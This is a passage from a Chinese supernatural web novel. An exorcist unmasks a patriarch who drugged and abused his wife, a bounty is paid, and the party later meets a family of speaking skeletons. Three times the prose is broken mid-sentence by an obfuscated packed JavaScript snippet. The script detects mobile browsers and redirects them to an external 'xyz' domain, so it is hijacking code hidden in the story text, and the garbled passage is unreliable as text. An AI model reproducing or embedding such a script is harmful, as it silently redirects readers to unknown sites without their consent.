“莫楚”愣了一下,眼睛有意躲避着女鬼的目光,道:“自然记得,不过现在不是叙旧的时候,你先帮我把这几个人对付了,后面的事情,我们出去在说。” 因纾禾道:“这位姑娘,你确定要把他带出去吗?这时间再拖下去,我可不敢保证还能不能救回你的莫楚哥哥了。” “莫楚”为了证明自己,抬头直视女鬼,认真道:“他们这是在故意扰乱你,你看清楚了,我就是你的莫楚哥哥,别听他们的!……这样,你先帮我挡住他们,我出去,出去之后再慢慢和你解释。” “莫楚”转身欲走,却被女鬼一个闪身挡住了。她盯着他打量了一阵,厉声道:“你到底是谁?为什么会在莫楚哥哥的身体里!” 随着女鬼的步步逼近,“莫楚”一边后退一边还试图说服对方:“我真的是你的莫楚哥哥,你别被他们骗了!” 因纾禾笑道:“……哦?是吗?沈家主,我劝你就别装了,你逃不掉的。” “莫楚”身形微微一怔,还在坚持道:“我不知道你在说什么!” 因纾禾道:“不知道?好啊,那我帮你回顾,慢慢说给你听。” 她缓步逼近“莫楚”,话语如冰:“你,沈言峰,表面上是一个受人尊敬、学识渊博、风度翩翩的导师,在外人眼里你是完美的,但你却有一个致命的不完美。至于那个不完美是什么,你心里最清楚。而你,为了掩饰这份不完美,一直隐忍,甚至在出现超出男人接受范围的事情时,你也默默承受,因为你不敢承认。一旦承认了,自己所受到的非议将比旁人还要严重,你接受不了这些非议。是与不是?” 沈言峰一语不发,只是恶狠狠地盯着因纾禾。 因纾禾又继续道:“其实,你认定沈映不是你的女儿,但你从来不曾说出过。你把这股怨气一直压在心底,直到忍无可忍,才把这股怒火发泄到她们母女身上,持续不断地虐待她们。我说得对不对?” 闻言,沈夫人和沈映都懵了。 沈夫人嘴唇微颤,震惊道:“你说这句话是什么意思?是在说我、说我……”她实在说不出“偷人”二字,原来她一直不明白为什么丈夫会那么不喜欢女儿,因为他从来不说。如今,她好像终于明白其中缘由了。 她泪眼朦胧,声音哽咽,质问沈言峰:“我没有!我从来没有做过对不起你的事情!你为什么要这么怀疑我?!” 沈言峰终于开口,声音低沉而冰冷:“……你没有?你知不知道,我根本……根本生不了孩子……可是你却怀上了阿映,你还说你没有?” 沈夫人愣住了,脸色瞬间苍白,半晌后才颤声道:“……怎么可能?……这不可能!” 沈言峰突然轻笑一声,那笑声带着些许讽刺,像是释然,又像是嘲弄:“没错,我是有病,不然你以为为什么每次我们同房之前,母亲都会让你喝药?……其实,那根本不是母亲送来的,是我让人端来的。” 沈夫人这才反应过来,原本已经苍白的脸色更是白如死灰:“难怪,每次喝了之后,你才愿意和我……可是每次我都不记得经过,只是觉得……很疼……”她有些许恍惚,顿了顿,又道:“可是……你为什么不直接告诉我?为什么?” 沈言峰冷笑一声道:“呵,告诉你?我为什么要告诉你?告诉你们,是让你们一起嘲笑我是吗?” 沈夫人听到这话,心头酸涩道:“你为什么会这么想……我不会……” 沈言峰笑容更诡异了,道:“别装了,我没告诉你,你不是也和别人搞上,生下这个贱种了吗?!” 沈夫人崩溃摇头:“我没有!你一定是骗我的!我没有!” 因纾禾终忍不住道:“沈家主,你难道就没有想过,沈夫人也是无辜的吗?你们每次同房的时候,你都让沈夫人喝药然后不省人事,万一有人模仿你的行为呢?这沈夫人或许根本就不知道是你还是别人!” 沈言峰却说:“我知道她并不知情。” 檀玲愕然道:“什么?既然你清楚沈夫人对发生的事情一无所知,你怎么还能这样对待她!” 因纾禾突然想明白了:“说到底,你最爱的还是你自己,你就是怕被别人知道你的缺陷,你宁愿认下沈映,至少她表面上是能证明你是一个健全的人,但是你的内心却是满是怨气,最终无法得到排解,所以造 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14858789|159413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成了今天的局面。” 沈言峰道:“哼,你们不是我,你们怎知我的痛苦!我每次看到这个野种,都恨不得把她掐死!” 沈夫人不解道:“你如果对阿映一点怜爱都没有,你之前为何要为她的婚事如此奔波……” 沈言峰道:“你觉得我是因为什么?” 沈夫人一愣,顿时脑海思绪万千。突然,好似明白了什么,之前甄青瑶问过她怀上沈映之前的那段时间,有谁来拜访过沈家,其中就有苏启! 沈夫人嗤笑了一声:“原来如此!” 这个人真的比她想象中的还要可怕变态! 他从未爱过她,最初不过是把她当作自己人生中必须拥有的一个物件,娶回家放着,装作一副与旁人无异的模样。她曾经觉得自己嫁给了天底下最好的丈夫,然而这一切,原来不过是阴谋与伪装! 她曾一度不明白,为什么他会发生如此巨大的转变,为什么他对她的态度突然变得冷漠。但现在,她终于明白了——他从来没有变过! 当她真正看清楚这个人时,她反而释然了。原本积压在心底的怨恨,好像也没有了。 沈家这段家事基本已经理清了脉络,但因纾禾还要知道更重要的事情。 她沉默片刻,目光深邃,忽而开口:“沈家主,其他的暂且放一放,我更想了解一件事。你所摆设的这四十九场冥婚,以及你修炼的术法……究竟是谁教你的?” 沈言峰突然哈哈大笑起来:“你在说什么?我听不懂。” 因纾禾故作叹息道:“听不懂?没关系,我可以每天和你说一遍,直到你听到了,想到什么,可以随时告诉我。我不着急。” 她拿着剩下的五道五行符箓,步步紧逼。沈言峰试图寻找逃脱的机会,却发现无论从什么方向,都被人团团围住,他根本无处可逃。 随后,还是叶澜第一个出手将他按住,而其他人也在旁辅助。很快,因纾禾在“莫楚”身上贴满了全套五行符箓。 未几,沈言峰苍老的魂魄飘然而出。 因纾禾默念一声诀,阵眼的宝葫芦随之释放出清气,准备将魂魄引入。 只要沈言峰的魂魄进入宝葫芦,探知他之前的一切便易如反掌——毕竟,她的宝葫芦内有太虚幻境。 原本以为可以大功告成,但沈言峰的魂魄却突然闪烁起一道红光,瞬间消失得无影无踪! 因纾禾凝神勘察,发现是有人利用沈言峰的命牌招魂,把他招回去了,难怪刚才沈言峰如此淡定,原来还有后手! 沈家惨案暂时告一段落,因纾禾利用五行阵法,开始为沈夫人、沈映以及沈家惨案中其他亡灵进行净化和超度。 她突然想到了什么,在仪式最后,对沈夫人和沈映最后确认一件事。 “沈夫人,不知我们被封在账房暗室的时候,是否是二位帮我们挪开了堵住出口的石板?” 沈夫人道:“方才我母女二人发现阵法异样,就一直守在这边,未曾离开。” 16. 第 16 章 莫楚的魂魄受到了些许影响,一直处于昏迷状态,而那白衣女鬼则一直跟在他的身边。 因纾禾道:“你与他……是什么关系?” 白衣女鬼微微一怔,默不作声。 因纾禾道:“你可知道人鬼殊途,你一直跟着他,对他来说并非好事。” 白衣女鬼低声道:“我知道,可是……我想保护他。我每次都保持与他一定的距离,从未靠近他,要不然,他也不会落入沈家。我求求你们,我没有害过人,真的不想超度。我只想保护莫楚哥哥。” 因纾禾思忖片刻,道:“你为什么要保护他?他到底是谁,你又是谁?” 白衣女鬼道:“我……叫丁婉,已经死了十五年了。莫楚哥哥他是个可怜人,生病了,一直神志不清,我放不下他……”她顿了顿,眼中闪过一丝恳求,“我求求你们,如果……如果你们非得要处置我……至少让我等到莫楚哥哥醒来,确认他没事后,再处置我……好不好?” 如今的丁婉已经恢复少女的模样,不再是女鬼的狰狞面容,瞧她那摸样,竟然有点楚楚可怜,着实让人于心不忍。 檀玲道:“鬼的话不可信!” 叶澜道:“我看她挺有诚意的,要不我们就信她一次吧。” 檀玲道:“你没听过‘鬼话连篇’这个成语吗,就是说鬼爱撒谎、不诚实!” 叶澜道:“也不能一概否定吧,我看着她就还是挺可信的。” 檀玲道:“我觉得你不是看着她可信,你是看她长得不错,被鬼色所迷了吧!” 叶澜道:“檀姑娘,你这么说话我就不爱听了,我们就事论事好不好。……你换位思考,如若你是丁婉姑娘,云修兄是莫楚公子,你要怎么办?” 檀玲急道:“叶澜,你是在咒我死吗?!” 叶澜道:“我、我不是这个意思,我只是在打个比方……甄姑娘,要不你说说看!” 檀玲也把目光转向因纾禾,道:“好啊,甄青瑶,你说,我们两个谁说的有道理!” 因纾禾原本一天就够累了,听着他们你一言我一语,她都懒得搭话。此刻,却被他们两个强行拉入战局。 于是她一脸无辜道:“你们吵架,与我何干?” 檀玲睁着大眼睛道:“我们没吵架!” 叶澜也义正言辞道:“我们只是在讨论!” 因纾禾眼睛瞟了檀玲一眼,轻笑道:“哦?没吵架?”又瞥了叶澜一眼,调侃道,“只是在讨论?” 她语气一转,摆了摆手道:“那你们请继续。” 随即,因纾禾转身拿起自己的宝葫芦,对着女鬼道:“丁婉姑娘,你说自己没有害过人,那我倒是有个提议。你是否愿意进入我的宝葫芦,呆上七七四十七日?如果你身上真的没有杀孽,这宝葫芦自然对你没有任何伤害。但如果你背负着孽障,它里面的灵气可能会让你难以承受。你可以自己考虑一下,是愿意接受超度,转世投胎,还是愿意进入葫芦,亲自验证一番?” 丁婉低头看了莫楚一眼,似在犹豫。 檀玲立即道:“我就说吧!她身上肯定有人命债。” 丁婉连连摇头否认:“我没有!” 因纾禾看出她的顾虑,道:“放心,他不会有事。” 丁婉这才抬眸,神情坚定道:“我愿意验证。” 因纾禾投去赞赏之色:“有胆识,我喜欢。” 说完,她抬手将宝葫芦的口对准丁婉,随着因纾禾的一声口令,丁婉瞬间被吸入其中。 因纾禾收起葫芦,打了个哈欠,伸了个懒腰,眼皮微垂,拖着步子迈出了沈家。 …… 刚一出去,就看到钱坤已经坐在乌篷船上等着他们了。 他笑盈盈得看着第一个出来的因纾禾,朝她招了招手。 因纾禾亦十分热情向他走了过去,笑道:“钱老爷,没想到你居然来接我们!” 钱坤道:“这是自然,我一直在河对岸等着你们呢!一看这沈府的黑雾都消散了,我就知道你们成了!哎呀,真是太好了!” 因纾禾道:“钱老爷,看来你这次要破费咯!” 钱坤道:“只要能把这邪祟除之,就不算破费!那个……他们都还好吗?” …… 返回钱府路上,叶澜都把沈府的情况告知钱坤,钱坤听了也是震惊异常,接连发出“万万没想到!”“事情居然是这样!”“真是令人震惊!”的感叹。 回到钱府时,已经是酉时。府中的下人显然没料到这次居然有活人出来,于是匆忙中才临时打扫了个房间。因纾禾二话不说,便倒头便睡, 翌日,沉睡中的因纾禾模模糊糊听到一阵叩门声。 “甄姑娘!甄姑娘!你醒了吗?” 因纾禾直接拽住被子捂住头,外面果然安静了,于是她继续做起了大梦!等她醒来的时候,一打开房门,直接被蹲坐在门口的叶澜吓一跳。 因纾禾道:“你坐在这里干什么?” 叶澜闻言抬头,乐呵呵道:“你终于醒了!” 因纾禾双手扶门,用力眨了眨眼睛,更清醒几分,道:“你……不会从早上一直在这里等着吧?” 叶澜点头:“没错。” 因纾禾不解道:“为什么?” 叶澜道:“什么为什么?” 因纾禾嘴角抽了抽,道:“要是实在闲的无聊没事做的话,可以帮助他们去清理清理沈府的尸体。” 叶澜摇头道:“钱老爷已经派人过去了,我也不想再去沈府了。况且,我有事情,去不了。” 因纾禾道:“你有事就赶紧去做啊,不用等我的。” 叶澜道:“我要做的事情就是等你。” “……”因纾禾道嘴角再次抽动,“有话快说,有屁快放!” 叶澜笑嘻嘻道:“钱老爷等你醒了,让大伙一起到正厅。” 因纾禾眼睛一亮:“这是要分赃了……额不对,要分赏钱了?” 叶澜摇头道:“不对。” 因纾禾道:“不对?不是给钱,那叫我做什么?” 叶澜道:“是给钱。” 因纾禾对着他握紧拳头,一字一句道:“你……能不能一次性把话说完!” 叶澜表情雷打不动,依旧笑嘻嘻道:“这邪祟都是你除的,原先就是说了谁除掉,这赏钱归谁,所以是给你钱,不是分赏钱,都是你的!” 因纾禾闻言一怔,默默收起了拳头,原本她也没打算独领这笔钱,所以理所当然的想着是大家平分这笔赏金,属实没料到叶澜这番话。 见因纾禾没反应,叶澜突然收起笑容,以为自己又说错话了,小心翼翼道:“怎么了?” 因纾禾这才晃过神来,道:“没事。对了,那个莫楚安置好了吗?” 叶澜道:“他还一直昏迷着,钱老爷已经把他安置在钱府修养了。” 他顿了顿,看向了因纾禾腰间上的宝葫芦,担忧道:“那丁婉,不会有事吧?” 因纾禾意味深长地看了他一眼。 叶澜立即解释道:“我真的只是觉得,她看起来很可怜……” 因纾禾挑了挑眉,故作长叹道:“唉……是挺楚楚可怜的。” 叶澜微嗔道:“甄青瑶!你怎么和檀玲一个德行!” …… 正厅之内,钱坤坐于主位,贺云修、檀玲等人亦已各自落座。 远远地,众人便听见叶澜的大嗓门:“甄青瑶,你没义气!你怎能如此想我?我是那样的人吗?” 随即,因纾禾一边挠耳朵一边走了进来,叶澜则跟到门口才稍稍闭了嘴。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14858790|159413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贺云修还是一如既往的温和气质,对进门的二人微微颔首。 因纾禾道:“早。……欸,贺公子,看你今日面色不错,恢复挺快嘛!” 贺云修含笑道:“多谢关心。吃了药,休息一晚,好些了。” 檀玲虽然不再像以前那样处处针对,但还是忍不住抱怨:“甄青瑶,现在都未时了,还说什么早啊。你睡这么晚,不觉得不好意思吗?” 贺云修道:“阿玲……” 因纾禾不以为意,对钱坤拱手道:“钱老爷,让你久等了。可这不能完全怪我,是你家的床铺躺着太舒服了,软绵绵的,根本起不来。” 钱坤闻言朗声大笑起来,半晌,才道:“在我这里,房间任你挑,床铺任你选,睡到日晒三竿也没人敢打扰你!” 因纾禾找了个位置落座,然后抬首应道:“这可是你说的,别到时候我来了你翻脸不认账!” 钱坤拍着胸膛承诺道:“我说的,决不食言。” 因纾禾眯了眯眼,疑狐道:“你不会要扣我赏钱吧?” 钱坤道:“我像是这种人嘛?放心吧,我既然放出了悬赏,定然信守承诺。来福,来财,把东西抬上来!” 两名仆从抬着一个木箱子,放置在正厅,然后打开,里面是金灿灿的金锭子。 钱坤道:“这是五百两黄金,归你了!” 因纾禾食指指着自己的鼻尖确认道:“全都是我的?” 钱坤道:“当然。他们都说了,沈家的邪神是你除的,这钱自然归你。” 因纾禾看向贺云修和檀玲,道:“你们确认这钱都归我一人?” 贺云修点头道:“要不是甄姑娘,可能我真的就出不来了,这赏钱自然归你。” 原本檀玲在看着因纾禾,可因纾禾目光移到她身上的时候,她又是一副清高模样,将头转向一遍,时不时撇一眼因纾禾,道:“看我干嘛?我虽然不是那么喜欢你,不过我这个人也是就事论事的,是我的就是我的,不是我的我也不稀罕!” 因纾禾轻叹一声:“好吧,我当然知道都是我的。那我就不客气收下了!” 于是,她上前挪了挪箱子,突然道:“这怎么这么重啊?这让我怎么拿?” 说罢,她就直接拿起金锭子朝着三个方向扔了十个,道:“劳烦,太重了,我拿不了那么多。” 当然,自己也没亏着,留了二十个,这些是要给甄青瑶母亲治病的钱,估摸着也够了。 叶澜愣愣道:“你不是有乾坤袋吗?” 因纾禾随口道:“它装不下。”她随即起身,“好了,既然事情已经解决,钱也给了,那我就暂时告辞了,各位有缘再会!”她转身就要走。 钱坤却叫住了她:“等等、等等。我还有事情没说完呢,留步、留步。” 因纾禾回头道:“这祟也除了,钱也分了?还能有什么事情?” 钱坤道:“我就不瞒各位了,其实有一位贵人想要见各位!” 因纾禾闻言略微一怔:“贵人?什么贵人?” 钱坤道:“是钤山派林少宗主林仁泽。” 贺云修闻言讶异道:“林少宗主……要见我们?” 钱坤道:“没错,林少宗主近日在招贤纳士,我已将各位驱除沈家邪祟之事连夜告知林少宗主,林少宗主对各位很是赏识,现在林少宗主正好就在普元镇,想邀请各位一聚。” 檀玲也激动起来,道:“这是真的吗?我们也可以见到林少宗主吗?” 钱坤道:“自然。”他目光炯炯的看向因纾禾道,“特别是甄姑娘,还请留步!” 因纾禾愕然道:“林少宗主要见我?” 钱坤点头:“没错。是不是很惊喜?” 因纾禾眉头一蹙:“谁啊?不认识。” 众人:“……” 17. 第 17 章 虽不认识得这位姓林的,但看他们的神色与反应,显然来头不小。 甄青瑶的故乡亦在普元镇,原本她也打算去一趟,不过只是顺路之事。 再者,这一路过去,不必自己寻路,车马费全免,细细算来,倒也不亏。 于是,因纾禾便答应了下来。 钱坤生怕他们几人改变主意,当日便为他们备好了车马,次日便急匆匆地拉着他们启程前往普元镇。 钱坤原先准备了两辆马车,男女分开各自坐,可是檀玲非要和贺云修坐一辆。 钱坤道:“要不,我再准备一辆?” 因纾禾忍不住称赞道:“钱老爷,你可真阔气!不过……”转而又笑盈盈凑过去低声道,“马车就算了,要不你折算一下,给我弄一匹马,剩下的钱……再给我点……” 叶澜从身后突然探出脑袋道:“你的乾坤袋不是装不下了吗?” 因纾禾瞪了他一眼道:“那是昨天装不下,昨天是昨天,今天是今天。我说今天能装下,它就能装下。” 叶澜斜眼道:“你这乾坤袋还分时段忽大忽小?” 因纾禾也是一本正经瞎掰扯道:“人都能忽胖忽瘦呢,乾坤袋自然也能忽大忽小。” 叶澜顿时语塞。 因纾禾继续缠着钱坤给自己一匹马,她可太想骑马了,坐马车又颠簸又无趣,还是骑骑马,看看风景比较乐哉! 因纾禾对什么仙门大派属实不太感兴趣,她原本的打算就是把钱送到甄母手里,然后自己就可以去找找那些什么《逐山堂录》《苍极台录》,弄清楚自己为何会被除名,以及为何现在成了第一大祟。 因他们一路上都在讨论,她也基本知道了现在几个显赫的仙门宗室门派,钤山林家、云和方家、空桑高家、竹山唐家、云潭祁家,以及他们现在要去的普元镇苏家。 至于他们这些驱邪术士,多为江湖散人,若能有幸被某些仙门大宗派收纳,那便是大显荣光,地位与档次的提升,非一言可尽,简直是天壤之别。 而钤山林家,是目前最有权势仙门宗派,如今这个门派的少宗主林仁泽要见他们,也难怪他们一个个如此激动了。 因纾禾道:“你们也不想想,像这种大宗派,想要成为其门客的人数恐怕不胜枚举,为何自己还要四处寻人?” 叶澜道:“为何?” 因纾禾道:“我哪知道,这应该是你们想的,我只是帮你们提出问题。” 檀玲道:“帮我们?难道你不想加入钤山派?” 因纾禾摇头道:“不想。” 檀玲道:“那可是现在最有权势的宗派了!你居然不想?” 她不以为意,打了个哈欠道:“这个机会让给你了。” 因纾禾心中暗道:我乃是仙门鼻祖池邕圣人的关门弟子,管他什么钤山派还是琼山派,她都不稀罕。 反正她到了普元镇,先将钱交给甄母,其他的事情到时候再见机行事。 檀玲道:“哼,你现在这么说,别到时候自己打脸!” …… 已经行了五天路,按钱坤的说法,再有两天应该就能到普元镇了。 正当他们经过一座山脚时,马车突然发出一阵诡异的咔呲咔呲声响,众人只得停下来检查是否哪里卡住了。 马夫检查了半晌,发现是马车的支撑架有些松动,需要修理一番。再加上天色渐晚,大家便决定暂时在此地休息一夜,明日一早再继续赶路。 在这野外过夜,定然是要生火,于是大伙就分头在附近去捡一些木材。 叶澜很是自觉,跟着那些仆从一起去捡柴火。 贺云修起身想要一起去,却被檀玲拉住衣袂道:“云修哥哥,你起来做什么,他们去就好了!你身上还有伤呢!” 贺云修道:“无妨。坐了那么久的车,需要适当活动。” 檀玲道:“那我陪你去!” 此时因纾禾找到一个极佳的休息地点,一棵大古树,约莫数十丈高,枝干犹如巨龙盘旋交错,中间正好有一个岔枝,是睡觉的绝佳之地,于是她二话不说就爬了上去占个地。 正当她紧抱枝干准备小憩片刻时,突然听到有人高声呼唤:“老爷!老爷!” 钱坤不耐烦道:“见鬼啦!喊这么大声做什么!” 仆从煞白着脸,指着刚才自己跑过来的方向,抖着嗓子道:“那、那边……发现一个孩子……” 钱坤道:“这深山野林的,怎么可能有小孩?” 仆从道:“是、是尸体!” 贺云修闻言走了回来,道:“在哪?” 仆从又给贺云修指了一遍:“那、在那……” 因纾禾蓦然睁眼,循声望去,瞧见他们正朝着一块巨石走去,于是也跃下了树,跟了过去。 拐过巨石,果真看见一具稚童的尸身,全身惨白,皮贴骨,似被吸食掉了精血。 钱坤在他们身后,看了尸体一眼,问道:“这一看就是邪祟所为,我觉得此地不宜久留。要不我们还是赶紧离开吧!” 贺云修斟酌道:“眼下赶路恐怕难以走出这片林子,且夜晚阴气甚浓,前方不明,易遭袭击。不如先将这稚童安葬,让其入土为安,然后升起篝火,驱散阴寒,想必不会有太大问题。” 钱坤对着那些惊呆在原地的仆从喝道:“你们还愣着干什么?没听见吗?还不赶紧去生火!” 众人闻言,纷纷行动起来,深怕再慢一下,真的会有大祟出来。 此时,不远处有火光,因纾禾定睛一看,发现是一个年龄稍大,约莫十一二岁左右的少年,举着火把朝着他们走来,看到稚童的尸体就直接扑过去抱住哭喊着叫弟弟! 因纾禾站到少年身边,矮身蹲下,没有说话。只是等少年声音哭的声音小了一下,方才道:“小兄弟,请节哀。” 少年抽泣着偏过脑袋,眼神疑狐地看了一眼因纾禾,再抬头打量围过来的一群人。 叶澜赶紧解释道:“我们不是坏人,我们也是才发现了你弟弟的尸体,你不要误会。” 少年抬起手腕抹了一把眼泪,还在忍不住抽噎,半晌,道:“我、我知道不是你们,否则、否则我也不敢朝这边走过来。我是看到你的火光,才敢过来的……我、我知道我弟弟是被山里吃人的妖怪害的……” 因纾禾道:“吃人的妖怪?” 少年点头道:“嗯,这山里有吃人的妖怪……我、我弟弟也不是第一个遇害的了……” 檀玲道:“既然知道有妖怪,这么晚了,你们还在这乱跑什么?” 少年还想解释什么,可抬头看夜色已黑,急忙背起稚童的尸体,道:“我得回家了!要是我再不回去,阿爹阿娘肯定要出来寻我们的!” 他往前走几步,随后回头,看了他们几个又问道:“你们今夜是要在此处留宿吗?” 因纾禾已经站起身子,点头回应。 少年犹豫了一下,道:“我们村子就在不远处,要不你们就到我们村子休息一晚吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14858791|159413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 钱坤闻言,像是抓住了救命稻草,道:“当然可以!” 他可不想在这野外待了,离开金义镇已经五天了,两天前在驿站休息之后又赶了两天的路,他自觉体力也比不上年轻人,是要有一个地方好好休息。 少年一路背着弟弟的尸体,叶澜想上前帮忙,却被他谢绝了。他们跟着少年绕过一段山路,走了约莫一炷香的时间,果然瞧见了一个村子。 这个村子貌似只有十几户人家,他们跟着少年入了村,这村子静得很,感觉只能他们一行人路过的声音。 少年领着他们进入第三户人家,他们一行九个人,村屋很小,三个仆从和一马夫只能在外面的院子里就将着。 村屋陈设简单,左右两边各摆放了一张木床,床前草席帘低垂,作了遮挡。屋子中央置有一张木桌,四周环绕四张木椅,桌上放置着一盏油灯。 钱坤进入屋子后,习惯性找了主位坐下。檀玲也坐了下来,剩下还有两张椅子,贺云修和叶澜都看向因纾禾,示意她可以先坐。 奈何因纾禾完全没有看他俩,而是径自又走了出去,村屋左边是个厨房,此时少年正在里面烧水。 因纾禾很是奇怪,他为何要把弟弟背到厨房?于是跟了过去。因纾禾透过窄小窗子朝里面看,厨房墙壁常年被烟熏,所以黑乎乎的。 灶台在靠窗的一侧,灶台口背对着窗户,因纾禾正好能看到蹲在灶台口的少年。少年正蹲下身,用竹筒吹火,随着少年一鼓一鼓的腮帮子,一闪一闪的红光照映在少年脸上。 少年把火生起来之后,抱起稚童的身体,缓慢地往灶台口处挪动。因纾禾心中暗道:难不成他还不死心,想给自己的弟弟取暖? 突然,因纾禾身后传来此起彼伏的尖叫声,她回头一看,只见原本在院子里休息的仆从和马夫正抖着身子,指着院门口的位置连连后退。 因纾禾偏头看过去,竟然看到了两具骷髅人,牵着一头骷髅牛,正慢慢走进院子! 此时,屋子里的人也被叫声惊到,贺云修率先走出来查看情况,顺着那些人手指方向一看,贺云修立马拔出腰间的驱魔剑做防御状。 而后脚跟出的几人,看到这一幕,也是呆愣在门口一动也不敢动。 此时,少年冲了出来,直奔那两具骷髅人跑去:“爹!娘!” 众人顿时瞠目咋舌。 钱坤咽了咽口水,指着他们道:“这、这、这两个……是你爹娘??” 少年闻言,回头看向他们,点头道:“对。” 然后,他又转头对着那两具骷髅头道:“爹、娘,今天阿弟又跑出去。我出去找的时候,碰到了这些人,就把他们带回来了……” 瞧见个头高一点的骷髅头下颌角一动,随即传来一个中年男子声音:“那现在你阿弟呢?” 尽管骷髅面无表情,语气却充满了急切和紧张。 少年转过身,指向厨房的方向说:“在里面……” 闻言,那两具骷髅人一前一后,扭着骨架向厨房方向行去。在经过纾禾身旁时,仿佛那两颗骷髅头还转过来望了她一眼,但并未言语,随即步入厨房。 个高的骷髅人走到灶台前,蹲下身子将稚童的身体放平。 少年提起一桶土,倒入热水锅中,用大铲子搅拌均匀。 个矮的骷髅人从墙上取下大布,扔进热水泥锅中搅拌后,撩起盖在稚童身上。 少年似有些自责,担忧的问道:“阿弟……没事吧?” 18. 第 18 章 “是他们发现你阿弟的?” 是一个女子的声音,是矮个子骷髅人发出的,果真是一男一女。 少年点了点头。 女骷髅人转身,直接换了灶台上的锅,重新烧水,又从灶台旁边取了个水壶。 而男骷髅人已经走了出来,热情道:“感谢大家帮我找到小儿,我们俩夫妻也是刚务农回来,没想到家里能有那么多贵客。大家不要嫌弃我们这才好啊!” 这语气与常人无异,要是闭着眼,根本不会想到是一具骷髅人说出的话! 可当下是一片寂静,根本无人敢应答。 男那男骷髅人好似一点也不觉得是自己奇怪,又道:“怎么大伙都不说话了?是不是饿了?媳妇,赶紧赶紧给客人们弄点吃的!” 女骷髅人的声音从厨房内传来:“好,你先招呼大家。我这饭还要一会呢!” 钱坤小声嘀咕道:“它们、它们不会给我们做什么人肉饭吧……我看我们还是赶紧走吧……” 他一把年纪了还想多活几年呢,经不起折腾!于是,他示意仆从和马夫一同离开,但刚走了几步,就发现那头骷髅牛堵在门口。见他们靠近,骷髅牛甩了甩脑袋,发出一声“哞”的叫声,惊得钱坤他们一阵慌乱。这一动静立刻引起了男骷髅人的注意。 “差点把你忘了,乱叫什么!别把客人吓着了。” 男骷髅牵着骷髅牛走向牛棚,刚到门口,里面就传来马嘶声。原来钱家的马夫刚才把马栓在了牛棚里,如今这马看到两具骷髅人畜,受到惊吓,嘶鸣不止。 钱坤想要继续逃,走到院子门口,又被少年喊住了:“你们,现在要走吗?” 钱坤干呵呵笑两声,道:“我突然想起来,我有急事,我们得赶紧走了,多谢款待……” 男骷髅人听到客人要走,赶紧跑了出来,道:“现在可不能赶路啊,这地方不太平,你们还是留一晚吧!” 钱坤心中暗骂道:留在这里才是不太平! 可是他也不敢明着说,深怕惹怒了对方,道:“我们人多,不怕,更何况我们还有好几个驱邪术士呢!”他把“驱邪术士”这四个字咬得特别清楚,就是想让对方知道,他们可是有能人的!小心点,别乱来! 男骷髅人一听,居然大喜道:“哎呀,甚好,甚好,那更不能走了!快快进屋坐!” 钱坤也是一愣,这些到底是什么妖魔鬼怪,不怕驱邪术士,反倒要留住他们? 此时贺云修也没用出声,因为作为一名合格的驱邪术士,遇到这类情况,都是更好奇到底是怎么回事。也根本没有要走的打算。 钱坤如何拽贺云修,他都没给反应,然后就看向了因纾禾,此时因纾禾也跟着走进了屋子里。 等他们坐下之后,女骷髅人也端上了煮好的茶水,给他们一边倒茶一边问道:“各位贵客,你们这是要赶着往哪里去?” 贺云修道:“普元镇。” 男骷髅人道:“普元镇距离我们这里还有五十里路程,还都是山路,你们过去应该还需要两天,今晚你们不如就好好先休息。” 因纾禾突然开口道:“请问,你们几位是一直居住在这附近吗?” 男骷髅人抖着咔滋咔滋响的身子笑道:“是啊,居住在这里很久了。” 因纾禾继续问道:“有多久?” 男骷髅人想了想,道:“有多久了……不太记得了……” 因纾禾又道:“那你老家在哪里,家中长辈可还在?” 男骷髅人怔了半响,好似想不起来什么:“我老家……我老家在哪里?”他转头问起女骷髅人,“我们老家在哪里?” 女骷髅人被他这么一问也懵了,手里拿着水壶站在原地讷讷道:“老家……老家在哪里?我……从哪里来的?对啊……我从哪里来的?” 他们好像真的被这个问题问住了,垂着脑袋拼命思考,结果居然用力过猛,把自己的脑袋锤掉了。骷髅瞬间散架,掉落的骨头撒了一地,场面骇人至极。众人看得毛骨悚然,钱坤抖着嘴巴,半天说不出话来。 就在此时,少年从外面走了进来,热情端着一个碗走了进来,居然看也不看那散架的父母,道:“各位,我们家也没有什么特别的,这是我父母刚从地里抓来的,新鲜的,大家趁热吃了吧。” 他把碗放到桌子上,因纾禾一看,里面是一只大老鼠,整个的,完全没有处理过,只是用水煮了一下。 钱坤看了一眼碗里的“食物”,立即捂嘴抑制住要呕吐的冲动。 少年察觉到了他的反应,道:“你这是不喜欢吗?” 钱坤强作镇定,深吸一口气,勉强挤出一丝笑容,道:“没、没有。” 为了转移少年的注意力,他抖着手指向地上的碎骨,颤声道:“孩子,你、你的父母……” 